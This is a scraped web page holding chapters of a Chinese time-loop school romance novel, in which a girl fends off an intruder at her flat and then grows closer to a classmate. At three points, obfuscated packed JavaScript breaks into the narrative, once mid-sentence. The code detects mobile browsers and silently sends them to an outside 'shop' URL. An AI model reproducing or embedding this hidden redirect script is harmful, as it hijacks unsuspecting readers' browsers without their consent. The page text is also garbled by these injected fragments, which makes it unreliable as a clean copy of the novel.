0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062682|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样的劣势和境地里,她的背依然挺得很直,每一句话的语气都淡然极致,却透露着一股凌驾于情绪之上的镇定和坚守:“我会担心,是因为我身后有小祈,但他要真干什么出格的事情,我也一定和他拼了。” 心中那道口子被撕裂得更大,某种少见的情绪油然而生,那并不是害怕,却自然而然地定住了宋未海的四肢与神魂,他花费了好一会儿,才后知后觉地反应过来那是一种什么样的感觉。 ——是钦佩。 沈余离声调依然平稳,眼神自始至终,都没有分毫地动摇:“在这种孤注一掷的情况下,相比没有足以匹敌的肢体力量,丧失勇气,才是最可怕的事情。” 宋未海抬起眼,微长的刘海挡住少年的眼睛,沈余离看不清他的表情,只能看见他深沉的目光透过层层的遮挡,宋未海没有说话,只是不动声色地捏紧了拳头。 他嘴唇颤抖,声音有些沙哑:“我……对不起…我只是觉得你太厉害了,相比之下,我真的……” 太没用了。 在沈余离话音落下的那一刻,心中的豁口唰然而开,羞怯争先恐后地奔涌而出,无数思绪如彩炮中的飘带飞扬而出,往事如同连接的胶片在他眼前掠过,他的瞻前顾后、他的步履薄冰、他的谨慎、他的胆怯、他的退缩、他的顾虑,构成了一盏吊灯,它有着流光溢彩的表面,却只有宋未海知道,这盏灯早已摇摇欲坠,沈余离的这句话,更像是一股狂卷而来的风,击穿了这盏吊灯的最后一个支撑物,就在下一秒,它即将砸在地面、碎得四分五裂、最后被狼狈地扫进垃圾桶—— “但是,勇敢也不代表着一定要盲目地发生正面冲突,至少你在为我考虑风险最低的解决办法,不是吗?”沈余离笑起来,她的笑容很坦然、很从容,最真诚的感情从她的眼中缓缓而出,没有掺杂任何虚伪或者客套的情感,“更何况,没有胆小鬼有勇气在漆黑的楼道里坐一整夜。” 宋未海呼吸一滞。 ——但在那些情绪被粉碎成更加不堪的样子前,突然有人把它接住了。 . 另一边,沈余离看着面前有些惊慌的少年,眼神依然平和无波,似乎没有任何事情,可以激荡起她心中更加强烈的情绪。 她的面容十分平静,看起来就和往日一样,但只有沈余离自己知道,她的心底,似乎产生了一些微妙的变化。 除了沈祈生,沈余离对这个世界抱有的情感就像地面上覆盖的一层雪,它既不完全的冰冷锋利,但也不带有任何的炽热与波澜,它柔软却又荒芜、洁白却又冷淡,但是和那盆兜头浇下的冷水一样——宋未海就这么唐突地撞进他的世界里,不是大雪散尽后猛烈的太阳,能够顷刻融化所有寒冬,但是却像一颗被猝不及防抛过来的雪球,他们拥有同样的颜色、同样的质地、同样的朴素、同样的内核,却在碰到彼此的那一秒,一声轻轻的闷响,下一刻,平静的雪原上,向四周飞溅出无数雪点。 那是一场世界仅此一场的烟花,一场倒垂的、纯白的、没有滚烫火星的烟花,在她的世界里沉默地绽放。 它像是dv镜头下被静音的场景,晃动着转瞬即逝,却在沈余离心里停留了好久好久。 她的成长过程缺少被爱的经历,也很少爱谁,沈余离从来没有春心萌动的时刻,她对于特殊情感的唯一参考来源于沈祈生,那是一种非常简单非常直白的感觉——在这场连她自己都有些自身难保的人生里,她仍然愿意从自己的漠然中划分出一份温和和耐心,然后,再挡在那人的身前。 她站在那里,看着宋未海,他们每一次四目相对的瞬间,沈余离都觉得时间被无形地放慢了。 她未必定义得了喜欢,但沈余离没有那么多峰回路转的纠结,有一点,即便在这样乌云密布的境地下,她依然无比明晰和确定—— ——宋未海对她而言,和其他人不一样。 就在她晃神的这一个刹那,宋未海的内心仿佛也经历了一场无声的雪崩,沈余离盯着他的眼睛,心中莫名感到有什么东西在他的心中被重建了起来,再开口时,宋未海眼中的恐惧和慌张,终于褪去了一点儿:“我……我有个……有点冒昧的想法。” 沈余离笑笑:“什么?” “那个……”宋未海的眼神有些担忧地看向被捅碎的门口,在原地踌躇了半晌,良久,轻声开口,“我能不能……再陪你一晚?” 17. 克洛诺斯|三 . 听到这话,沈余离稍稍挑眉。 宋未海以为她误会了,心脏一颤,张口又是习惯性地道歉和解释:“不不不是,你听我说,我不不不不是你想的那个意思——” 沈余离抱着双臂凑近了一点儿,一脸真诚地反问:“我想的哪个意思?” 天地良心,她这次没有故意逗人,她暂时还没有从自己的挑眉中解读出第二个意思。 宋未海:“……” 好了,这下人家从头至尾都挺坦荡的,扭扭捏捏想歪的反倒是自己了。 “不,不是,那那个你当我没说。”宋未海一对上沈余离,平时作文里那些惊才绝艳的文采就不知道跑哪儿去了,他又感觉自己的颈后在不断地冒汗,浑身上下都像有虫蚁在爬,“我是觉得……你们两个单独待在这里,我不太放心。” 这种瞬间的转变其实让宋未海感到很陌生,他不是冲动的人,但即便在知道沈余离明显更有能力应付这件事的情况下,那种发自内心的担心,在沈余离看向他的那一刻,就这么毫无障碍地跨过了他的恐惧、跨过了人类自保的天性,率先一步驱动着他说出了这句话。 宋未海觉得自己愧对沈余离的评价,他也始终不是勇猛张狂到无所畏惧的人,但是在沈余离看着他的眼睛,一遍又一遍地保证自己会保护家人的时刻、一遍又一遍肯定他的时刻,某种情绪跨越理智不断击打着他的心脏,让他心中突然不受控制地冒出一个念头——都是死过一遍的人了,这一次,比起完全正确地走过一身,他更想让自己内心最深处的想法,主导第二次的人生。 “沈余离。”宋未海第一次这么郑重地叫她的全名,他再次开口时,除了下意识地害怕,他却突然又觉得庆幸,至少这一刻,他在尝试着回馈一种相同分量的坚定,“让我陪着你吧。” 沈余离没反对,她也没同意,只是侧身拉开椅子坐下,但在她拉开椅子的时候,宋未海像突然瞥到什么似的,一脸认真地凑上去:“……等一下。” 宋未海的气息在刹那间扑打过来,沈余离没想到他会冷不防地靠近,身体僵硬了一瞬,然后悄无声息地别开了目光。 “你这里……”宋未海这次没注意到沈余离神情的变化,只是聚精会神地打量着她的眼角,发现就在距离眼尾几寸的位置,有一道细细的血痕,“刚才被玻璃擦到的吗?我帮你涂点碘酒吧。” “……没事。”沈余离抱着双臂,身体微微往后仰了些,耳根少见地有些发红,“……你爸不会担心吗?” “我会跟家里人说的。”宋未海很小幅度地点了点头,又像想到什么似的,忙补充道,“那个……不方便的话,我可以再去楼道里蹲——嘶!” “算了吧你。”沈余离伸手,轻轻一拽他的袖子,随即有些严肃道,“少熬夜,一晚不睡,不知道的还以为你要修仙。” 大概是沈余离的淡定和从容让这件事儿开始变得不那么可怕,这会儿就连宋未海也没那么紧绷了,难得地鼓起勇气跟她开了句玩笑,虽然因为紧张有些语速过快:“你说得对,说不定我哪天就地化灰升天了。” “嗯。”沈余离点点头,终于笑道,“升天了以后记得保佑我下次数学别挂科。” “这不一定。”宋未海终于放下重担,轻松地笑起来,“这位姓宋的神仙自身也难保,普渡不了苍生。” 沈余离笑出声来,宋未海第一次见她这样笑,眼睛弯弯的,就像两道澄明的半月,她笑起来的时候眼底的光点会微微跃动,就连眉宇一并舒展开来。 她好漂亮,宋未海直直地看着她,心里没来由地冒出这么一句。 冷着脸的时候是一种拨人心弦的好看,笑起来的时候又是另一种动人,宋未海看得恍了神,下意识张口,还想说些什么,但紧接着,楼道里突然传来沉重的脚步声,一层层回荡在空旷的楼梯间中,下一秒—— “啪”。 门外的声控灯亮了。 “……!”一道寒意顺着宋未海的背脊骨噼里啪啦地炸开,他的每一根神经都在瞬间被扯紧了,四肢像被钉子钉在原地似的,只能从余光处看到沈余离也一下子坐直,警惕的目光死死盯住镂空的猫眼。 透过猫眼,二人可以看到外面的电灯冷不防地闪了一下,跟跳闸似的,电流接通时轻微的“擦”声在此刻显得异常刺耳,但很快,猫眼外的楼梯间又变成了一团黑色,连同“擦”声一并消失,整个楼道又恢复至一种诡异的漆黑与死寂之中,沈余离眯起眼,直勾勾地注视着那片黑暗,不知道是不是因为精神过度集中的原因,她总是觉得外面的黑影在缓缓地蠕动,原本四平八稳的楼梯栏杆,在此刻仿佛都伸出无数细密的触角,在物体的边缘试探般地起伏着—— 突然,一只阴冷的眼睛,堵上了缺口。 宋未海吓得大叫了一声,沈余离嗖地一声站起来,她脸色白了一瞬,但很快恢复如常,刚想开口,就见那只眼睛的主人微微退后,神色阴狠地盯着二人,沉默无言地从身后掏出来一根细长的翘杆,顺着猫眼的缺口直直地伸进来,对准门把手,砰地一声就要捣下去! “——等一下!”宋未海瞳孔一缩,扶着椅子哐当起身,浑身发抖地大跨步上前,因为双腿发软和重心不稳咚地撞到了门板上,这一撞给他撞得双眼发白,但他没敢多停留,连害怕都顾不上了,一手扒住扶手用力上抬,另一手紧紧攥住伸过来的细杆,沈余离见状也很快反应过来,发出事先编辑好的报警短信后立马通知楼下保安,但门口的人似乎根本没有要停的意思,细杆在他的手里就像一把冰冷的长刀,对着宋未海不断上撑的手掌心,微微抬起,再用蛮力猛地向下掼去! 宋未海嘶了一声,唰的一声剧痛,他感觉手上被硬生生擀下来一块皮,紧接着火辣辣的痛感迅速传来! 那人有些面熟,但是宋未海看不清了,只听他咬牙切齿道:“每次都他妈的是你……惹麻烦……老子今天就废了你!” “啊!”宋未海不太抗打,痛得冷汗都密密麻麻地沁了一层,他感觉自己得眉头都要拧紧成一团麻花了,浑身都在颤动,完全是凭借着最后一点意志力在支撑着自己,手掌心火辣辣的疼痛像有一串爆竹在他的体内轰然爆裂,很快,心底那种因为恐惧而涌动的寒意又像潮水一样漫上来,两种折磨人心却大相径庭的感觉交叠着折磨着他的心神,眼前的景象已经痛出了重影,原本被强行收拢而起的精神在不受控地向四方涣散,就在宋未海觉得面前的世界都变得模糊时,突然有一道冷冷的水流,刺穿他满目迷蒙,紧紧地攥住了他。 宋未海低头,是沈余离的手。 少女眼底平静如水,面前火烧眉毛的情形似乎对她造成不了任何威胁,淡淡开口:“让让。” 与这流水般的姿态截然相反,几乎就是在她说话的同时,沈余离猛地从背后掏出一管液体,对准那人可怖的眼睛,干脆利落地按下了喷射按钮,下一刻,凄厉的惨叫声平地炸起! “我和小祈去烧了锅加糖的热油,然后——”沈余离收起辣椒水,另一只手慢条斯理地掂了掂手里的刀,垂眸看向捂着眼睛跌在楼梯间里的人,嗤笑道,“说起来,你应该感谢他,如果你真的破门而入,我那锅油就有用处了,要不是他挡了你一下,上警车之前你会先上救护车。” “你……”赵志云一把掀了兜帽,一手捂着眼睛,艰难地从地上坐起来,“如果你杀了我,那你也会坐牢……” “我是正当防卫,还是防卫过当,这一切得交到法庭上去裁决,如果真的触犯了法律,那我也会得到相应的惩罚。”沈余离看着他,皮笑肉不笑地勾起嘴角,“但这一切的前提是我得活着。” 沈余离微微扬头,居高临下地向地上看去,当她看到黑暗中的赵志云勉强维持着最后一丝凶狠瞪着她,但漆黑的瞳仁却无法抑制地流露出恐惧时,沈余离笑了。 那种笑意并非猎手宰杀猎物前的洋洋得意,也并非上位者看羔羊无力挣扎时的病态愉悦,她的笑意里甚至连一丝轻蔑的意味都没有,看起来依然冷冷的,但身旁的宋未海还是细心地捕捉到了那一丝不显山露水的情感。 ——是释然。 女孩儿的肩膀微微下沉,仿佛这一刻,她的平静,才不再是坚硬的外壳,而真正地源自心底。 她话音刚落,楼下响起凌乱的脚步声和高喝声,很快楼道大亮,几个穿着藏蓝色制服的男人疾步上前,咔咔两声制服了赵志云。 沈余离见他不会再造成威胁,将刀放在一旁,低头抓起宋未海的手腕:“骨折了?” 来这么一遭,让宋未海差点靠着墙壁直直地滑下去,但是他那寥寥无几地尊严勉强地吊着他让他站住了,他喘了口气,终于把自己的气顺过来,惊魂未定道:“没事,我我我就……啊不是,没啥大问题,应该。” 沈余离面无表情地抬眸,眼睛里全是不相信:“去医院。” 宋未海怕麻烦,在人多的地方他就紧张:“不用——” “……”沈余离冰冷地吐出了一个字,“去。” 宋未海认命地低下头:“……好好好。” . 三人一起去说明了情况,宋礼还特意跑来这片辖区给宋未海的笔录签了字,现在事发突然,沈余离只能选择联系她小姨再跑一趟,来给她的笔录签字。 一切完事儿之后,沈余离一手搭着个外套,靠在栏杆上,身后的赵志云在这时经过,他的兜帽被拽下来,他身后跟着一名警察,以往他身着校服时那种嚣张跋扈的姿态已经尽数褪去,黑色的衣服上沾了些尘土,看起来狼狈又歇斯底里,虽然他曾经源源不断地输出烂泥一般的恶意,但当那些污泥化作快刀捅穿最后的底线时,还是令人感到有些陌生。 他尚且稚气犹存的面容,和他眼底令人胆寒的阴沉同时存在于他的身上,让人觉得是如此割裂、如此矛盾、如此不可置信,鲜少有人能把生命力蓬勃的少年和穷途末路的亡命之徒联系在一起,一个学生和一个犯罪之间相隔着多么遥远的鸿沟,心底的冲动一旦失控,那道鸿沟就会被轻易踏碎,从此一往前去便是万丈深渊,再也没有后悔的退路可循。 沈余离微微偏头,二人的视线在空气中相撞,赵志云抬眼看了她一眼,那一眼有愤恨、有怨怼、有不甘、有后悔,但是没有一丝一毫的歉疚。 身旁的警员告诉沈余离,赵志云当时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062683|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乔装进入单元楼,再捅碎猫眼后,直接藏在了楼道的储物间里,一直蹲守在晚上,以混淆警察和保安的视线。 事已至此,沈余离对他如何施行犯罪的已经不感兴趣了,只是轻轻地应了声,不打算再多讨论什么,但身后的赵志云却蓦地开口。 男生看着她,眼圈周围都泛开骇人的红圈,喉头一滚,沙哑开口:“沈余离,是你毁掉了我的人生,如果不是你把我逼到绝路,我根本不会这样做……你以后一辈子,都会活在愧疚里,你没有……你没有资格,心安理得地索要任何东西,你就应该——” “少给我洗脑。”沈余离头也不回,冷冷道,“让你这种人得逞了,我才真的要后悔一辈子。” 她对这个世界的漠视与厌弃绝非空穴来风,她因为两个人荒诞的错误降生在这个世界,她的父母这一辈子几乎在任何事情上都站在彼此的对立面,抛下她和沈祈生成为他们相识几年来唯一可笑的默契,她本来以为沈祈生到一个新家庭就好了、她长大就好了,幸福在前方闪烁着微弱的光芒,吊着她最后一口气不断前进,等她步步如履薄冰、步步小心翼翼地强撑过漫长的光阴,等她心怀着最后一点儿期待来到幻想已久的彼岸,才发现那道渺小的光点事碎裂冰面折射的亮色,她的希冀已经支离破碎,下沉到无穷海底,最后低头看着走过的路,只剩下脚底的鲜血淋漓。 有人希望她再也不要出现在他们的世界,有人妄图用三言两语就摆布她的命运,有人想嫌恶地丢弃她,又有人想扭曲地控制她,沈余离的人生在他们的眼中,是垃圾桶里被翻出来的黏土,不要她是人之常情,捏造她是大发慈悲,她就在这场命运的倾盆大雨中,冷眼看着人间百般丑态。 沈余离心中此刻没有任何想法,她既没有自怜自哀的悲伤,也没有大仇得报的快感,她只是看着面前安然无恙的宋未海和沈祈生,微微松了口气。 大雨仍然在下,但她不是脆弱漂亮的花朵,她会长成泥泞里迎风根生的野草、她会长成暴雪中刀枪不入的石块、她会长成冰雹下姿态坚毅的雨伞,这场雨会淋湿她,但摧毁不了她。 “沈余离,我好了!”宋未海做完了笔录,转头叫她,沈余离被这声抽回神,笑了笑。 宋未海抬起左手挠了挠头:“现在也不早了,要么我送你回去吧?” 沈余离笑吟吟地拒绝了:“去医院。” “……”宋未海一噎,音量骤然减小,听起来有些心虚,“我以为这么长时间……你会忘了呢。” “没忘。”沈余离依旧保持着笑容,虽然那样的笑容看得宋未海背后发冷,“请吧,宋同学。” . 之后,宋未海就被这位说一不二的姑娘轰去了医院做检查,所幸他的手没什么大事,医生说在破皮的伤口上上点药,然后手腕处敷一会儿冰袋,就可以消肿了。 宋礼后面还要忙工作,沈余离带着沈祈生在旁边坐下,一言不发地等着宋未海敷他的手。 她挨着他坐下,揉了揉自己的虎口,向下瞥了一眼,宋未海从虎口往外的皮肤被蹭破了一大片,虽说是没什么事,但是它裂口边沿异常狰狞,有些凝固的血一小片一小片地粘在他的皮肤上,看着怪骇人的。 “……”沈余离不动声色地皱了下眉,“会留疤吗?” “嗯?”宋未海愣了下,随即笑着让她放心,“应该不会吧……再说,留疤也没啥。” 他话音落下,沈余离就不说话了,周围的气氛莫名降到冰点,宋未海有些不自在地耸了耸肩,僵硬地笑道:“你也别过度紧张了,这不是没什么事吗……哈哈。” 好拙劣的热场手法,他在心里默默腹诽。 但沈余离没晾着他,她双肘撑在膝盖上,目视着前方,让人捉摸不清她在想些什么:“觉得不舒服的时候,及时就诊会是比较保险的做法吧。” 宋未海听到这话,微微一怔。 虽然她这么说确实没错,但是宋未海总觉得这不太像沈余离会说出来的话,比起瞻前顾后的思虑,她更擅长快刀斩乱麻,但是从他守在她家门前开始,有些令他感到有些奇怪的话也是实打实地从沈余离的嘴里说出来的。 沈余离像是察觉到他的视线,她终于侧头,看着宋未海,轻轻笑了下。 “你为什么让我别熬夜?”宋未海对上沈余离的笑容,剩下的顾虑分崩离析,他冷不防地迸出这么一句话,但立马就后悔了。 别人很正常的一句关心,被他解读成这样,说不定沈余离会把这样的自己归类为怪人,回去转头就把他拉黑。 两个人好不容易建立起来的生死情谊今天就要被他这破嘴终结了,宋未海欲哭无泪地像掌自己一嘴,又默默地把头缩了回去,捂住自己的脸:“……没事,你当我什么也没说。” 但出乎意料的,沈余离并没有嘲笑他,也没有转头就走,更没有就地把他揍一顿再送进急救室,她的脸部表情看起来没有任何变化,但是如果宋未海这时抬起头来看她的眼睛,会发现那道曾经平淡无波的目光,在此刻突然变得更有分量。 “因为,”沈余离看着他,垂下眼,轻声道,“曾经的你,也是这样告诉我的。” 18. 克洛诺斯|四 . “……” 宋未海身体一僵,然后从手掌心里抬起脸,他的表情像是隐隐想到什么,但却又像是不解,愣愣道:“我……跟你说过?” 沈余离冲他微笑了一下,却没再回答他的话,只是垂眸看了眼他的手:“时间差不多到了。” “——等一下!”宋未海转身,伸手想要抓住沈余离的衣袖,“你刚刚那句话——” 但是沈余离却没给他机会,她径直站起身,不动声色地侧身避开他的动作,仿若无事地笑道:“时间不早了,我先带小祈回去了,之前的事情……谢谢你。” 说完这话,她没再看宋未海,俯身去拉对面沈祈生的手,拍拍她让她和宋未海表示告别,自己却没再回头,只是目光深邃地直视着前方。 等沈祈生比完手语,沈余离不带丝毫的犹豫与停留,扣着沈祈生的手腕就要离开,不料没等她踏出几步,身后突然传来一道声音:“沈余离。” 这道声音与他平日的语气不太一样,宋未海平时跟沈余离说什么话都感觉差三分气,像把声带都绷了起来,音量又小、语气又紧张,甚至到最后还会变得结结巴巴的,可这一次,身后少年的语调意外地令人觉得平稳,像一块石块压在了她的心上,那短短的三个字、被无数人叫过的三个字,沈余离觉得自己竟然听出了点儿不知原因的郑重。 她牵着沈祈生,停下脚步,也只是微微侧过头,却没有说话。 “从我们认识开始……你说了很多句谢谢。”宋未海也没有看她,他像一尊雕塑一样,一动不动地坐在原地,目光紧紧地盯住地板,沉默须臾,才轻声开口,“我可不可以……听你说一句除了谢谢以外的话?” 沈余离没给他反应,只是这么无言地保持着原来的姿势。 “……当然,”宋未海的耳尖又有些发红,他默默地把头偏向相反的方向,“如果你觉得这个请求很奇怪的话也——” 沈余离没等他说完,唇角一勾:“早点睡觉。” 话音落下,还没有等宋未海回复,沈余离便拉着沈祈生离开,姐妹俩撩开厚重的门帘,寒气扑面而来,沈余离裹紧了外套,带着沈祈生在路边的公交车站坐下。 沈余离为了防止待会儿上公交车被挤得动弹不得,打算率先帮沈祈生拿公交卡,但当她顺带带出沈祈生的宿舍钥匙时,眼神微微一顿。 “对了小鱼,我刚给了你一把备用钥匙,你把它扣好在钥匙扣上了吗,别丢了哦。” “嗯。”沈祈生乖巧地回答,“我都扣好了,姐姐。” “那先给姐姐拿着吧。”沈余离伸出手,“我出来着急,忘记带钥匙了。” 沈祈生点点头,将钥匙摸出来递给她。唰啦一声,沈余离把钥匙连带着钥匙扣一并拿过来,它静静地躺在她的掌心,昏黄的路灯直直地照射而下,空气中乱舞的尘埃在灯光下无处循形,钥匙环扣的边沿折射出锃亮的光晕—— ——而紧扣在钥匙上面的,是一款海鱼挂件,沈祈生一直挂着的,就和她手里的那个一摸一样。 它们有着同样的款式、同样的颜色、甚至同样的地方刻着同样笔迹的“S”。 唯一的区别,是另一只海鱼挂件上,并没有沾着血迹。 晚风下两个摆件轻盈晃动,钥匙环碰撞在一起,发出细微的声响,冰凉的金属贴在沈余离的手心上,带了点儿刺人的寒意,她的目光在上面停留了很久很久,才意味深长地开口道:“小祈,你相信世界上有时光倒流的事情发生吗?” “……”站在沈余离身后的少女安静地偏了偏头,沉默了许久,才小声开口,“不知道……不过如果有的话,我希望……这次能和姐姐一直待在一起。” 沈祈生的声音太小了,女孩儿的话被呼啸而来的冷风剪成碎片,断断续续地传进沈余离的耳畔,后者依旧一动不动地站在路边,看着马路被灯光浸染成橙黄的颜色,面前乘客稀疏的公交车缓缓停在她们面前,然后嘎吱一声,自动门应声而开,原本那片令人迷蒙的昏黄顷刻被车身严丝合缝地盖住,一道冰冷的白光唰地打下,沈余离见状,将钥匙扣收回口袋,扶着妹妹走上了公交车。 四枚硬币撞落在塑料盒里,寒冷的气流很快被那扇折叠关闭的车门夹断,气缸排出气体的声音在两人耳边清晰地响起,下一秒,吊环扶手随着车身一并晃动起来,就连窗外的灯火都像城市低空掠过的道道流星,在公交车加速中变作无数缤纷的光流,在这一场宛如快门被调成八分之一秒的景象中,周身的一切都像一场逐帧卡顿模糊的慢动作电影,沈余离就站在这般扑朔迷离中,越过许许多多光怪陆离的色彩,看向沈祈生那双晦暗平静的眼睛。 “……”沈余离脸上光影流动,她的声音骤然响起,穿透车轮滚过地面发出的闷响,显得格外轻柔,“这样啊。” 她伸出手,指尖拨开沈祈生的发丝,妹妹的体温传递到她的指尖时,沈余离觉得她们肌肤相触的地方就像一场微缩的冬天,被冷空气冻红的指腹上仿佛凝结出细碎的冰雪,而妹妹的温度是流淌在雪原上的阳光,缓慢而温和地融化着天地霜雪。 沈祈生被吓了一跳,肩膀下意识一缩,稍显迷茫地开口:“姐姐……?” “没事。”沈余离压低眉眼,温柔的目光垂落在妹妹的身上,“小祈跟姐姐想到一起去了。” 她们太相似了,相似到生命共同连接着同一根脐带,相似到蜷缩安睡在同一个子宫,相似到共有同一份童年时的颠沛流离,相似到命运给她们重来一次的生机之时,在贯穿两个时空的愿望里,她们依然心照不宣地想到了彼此。 “我只是觉得啊,”沈余离长舒了一口气,一股温润如水的柔软,淌过心底的万里冰川,最终化开成她淡淡勾起的嘴角,“这对姐姐来说……也是一场奇迹。” . 从医院到她家的路程不算远,大约半个小时左右,沈余离回到家后,先把沈祈生安顿好,简单地处理了一下之前被捣碎的猫眼,花了二十几分钟收拾完那一地狼藉后,她才觉得一件事儿彻底从心中被放下,瘫坐在沙发上,划开手机,微信继而弹出了两条通知。 一条是班主任发布的期中考试日程安排,另一条则是宋未海的私信,他让她到家记得给他发消息。 【fish:到了,这几天谢谢了。】 【Swh:不客气,没事就好。】 沈余离看见他的消息,不浅不淡地弯了下嘴角,刚准备关掉手机,宋未海的消息又紧接着弹出一条消息来。 【小船:对了,月考之后要分科了,你学文还是学理?】 沈余离几乎没有犹豫,打字:学文。 看到手机屏幕上立马变化成“对方正在输入中……”的字样,沈余离没把屏幕摁熄,只是安静地等他的下一条消息,手机屏幕的白光在她眼底闪烁,两分钟过去,她拿指尖轻轻划拉了一下屏幕,可是并没有新消息弹出来,最后一条还停留在她自己的消息上。 沈余离见他迟迟不回,顿了一下,刚打算把手机放下,等会儿再来看宋未海发了什么,这会儿,手机却突然震了一下: 【小船:我也是。】 后面紧跟着弹出一条消息。 【小船:希望能分到一个班。】 但很快,那条白色的消息框和掠影似的,一下子被撤了回去,快得像按下拍摄键时的闪光灯,白光璨然一亮,旋即闪回进黑暗。 沈余离没开灯,刚刚那行字她也没看清楚,只看到零星的几个字眼,拼凑起来勉强能组成一句话,她垂眸,盯着那行灰色的“对方撤回了一.条消息”的灰色字样,眉梢移动。 她没着急回,只是维持着原来的姿态,一动不动地坐在沙发上,沈余离家的沙发紧挨着窗户,她自个儿待在客厅的时候不喜欢开灯,视野中仅有的一点光源来自于楼下马路上的车灯,车子排排而列,在她的余光中汇聚成一条缓缓流淌的河水,儿每一辆车前闪动的橘黄色灯光,像是黑夜下随波跃动的流光。 沈余离仍然低着头,手指扒拉了几下,随即,她轻轻地讲手机放在茶几上,然后起身去洗澡。 浴室中浴帘窸窸窣窣的声音响起,紧接着水流声不断流淌,手机屏幕迸发的白光稍微暗下去了点儿,却没有完全熄灭,两人的聊天框还停留在沈余离发出去的最后一条消息上。 【fish:我也一样。】 . 蓬山三中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17062684|195100||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的月考考三天,每天分别考一门主课和两门副课,全年级行政班全部打乱,考场随机分配,剩下的时间按照课表照旧上课。 安排一下来,高二年级的走廊里就是一片哀鸿遍野,就连宋未海看着课表上连在一起的数学课,都不由自主地萌生出当时他怎么没死得再透彻一点的想法。 连上两节数学课,他还不如下地狱呢。 考试安排在上午,提前十五分钟开始走考场,七点半之后,原本安静的教室里骤然喧闹起来,课桌翻转、椅子拖拉、同学说话的声音混杂在一起,宋未海拎上书包,侧身沉默地面前拥挤的人群渐渐散开,再一言不发地走出教室。 走廊里全是蜂拥着的学生,宋未海一手扶着墙,能感觉到粉灰颗粒物沾到了他的指腹,还能感受到僵硬破损的墙皮边沿扎着他的掌心,天花板低低地压下来,满眼都是走廊两旁铸起的铁栏、灰白色的墙面、无数件被洗到发白的校服,就像一泓厚重的水泥翻滚在其中,他勉强挤过人群,按照考场号找到对应教室,正打算进去找座位时,突然瞥见熙熙囔囔的人群中点了一笔温和的暖色,神色一恍。 沈余离头发的颜色很显眼,她安静地站在流动的人群边沿,像是感受到什么似的,缓慢地转过头,和宋未海对上视线。 她没有说话,也没有微笑,但不知道是不是宋未海的错觉,那般疏离又淡漠的神色,貌似在那一刻变得更柔和了一点儿。 “……”宋未海微微调转了方向,费了点劲儿挤到她身边,沈余离就这么一动不动地靠在墙边,礼貌性地伸手虚扶了一下。 “你、你好。”一路在夹缝中前行,宋未海这会儿有些缺氧,他深吸了一口气,看向沈余离,“你也在五班考?” 沈余离摇了摇头,淡淡道:“隔壁。” “啊……那也挺巧的,隔壁也挺巧的。”宋未海觉得自己的脑子估计刚刚也被夹了,现在说话前言不搭后语,只觉得这么汹涌澎湃的人潮压过来,让他难免有些喘不过气,他看了下四周,不轻不重地抓住沈余离的胳膊,把她一并带到饮水机里,那儿的建筑构造是向外凸起的,勉强能让他俩有点喘息的空间。 但说是喘息的空间,其实对他们而言也不过是杯水车薪,两个人靠在饮水机旁,连转身都费劲,宋未海好不容易觉得周围人少了点儿,低头又看到了近在咫尺的沈余离,忽然觉得那股紧张的劲儿又直往脑门冒。 “我……”他下意识地吞咽唾液,双手背在身后,动都不敢动一下,目光到处乱瞟,试图找到一个能打破这种尴尬气氛的突破口,所幸,在下一秒,他就立马瞄准到了他的救星—— 沈余离手里的数学卷子。 机会不就摆在眼前吗?小说里不就这么写的吗?男女主的感情不都是这么升温的吗?网上不都说女孩子最吃这套了吗? 快教她数学题啊!! “……那个。”宋未海努力让自己看起来自然点儿,很底气不足道,“你有不会的数学题吗?我……我来……教……你?” 最后两个字几乎是从他的牙关里挤出来的。 相比之下,沈余离看起来坦然多了,她递过手中的数学卷子,指了指第一面上自己还没订正的那道题。 宋未海顺势接过,深呼吸一口气,一改前面那副窘迫的样子,随即扶了扶眼镜,一手拿着卷子,一手在空气中比比画画,嘴里振振有词地念叨着各种公式,眉头微微拧起,垂眸盯着题目的样子专注至极。 过了须臾,他缓缓抬起头,神色郑重地看向沈余离:“沈余离同学,在解答之前,我想先问你一个问题。” 沈余离见他这样,也不由得直起身,认真地回他:“你问。” 宋未海用食指推了推眼镜,一本正经道:“你高一期末数学考了多少分?” “年级第二百五十一名。”沈余离轻描淡写道,“倒着数的,一百五的卷子拿了五十分。” 她话音落下,空气安静三秒,紧接着宋未海的表情突然松弛下来。 “嘿嘿。”他很生硬地“嘿”了两声,双手将试卷递还给她,“我跟你差不多,我排二百五。” 沈余离:“……” 我看你像二百五。 19. 同桌的你|一 . “……加油。”沈余离面无表情地扯回数学卷子,温和道,“争取这次不做二百五。” 宋未海:“……” 没事,无妨,往好处想,她这句话就是在鼓励我!! 沈余离站在对面,看着宋未海的脸色一阵红一阵白一阵青,神色变换之丰富宛如迪厅里的五彩灯球,心中突然有些后悔,前些天逼迫他去医院里检查手腕的时候,就给顺带给他摁机器上做个核磁共振,检查一下他的大脑是否同样受到了损伤。 她摇了摇头,几乎是不可闻地叹了口气:“还是要保证睡眠啊。这下年纪轻轻的……” ——连脑子都熬坏了。 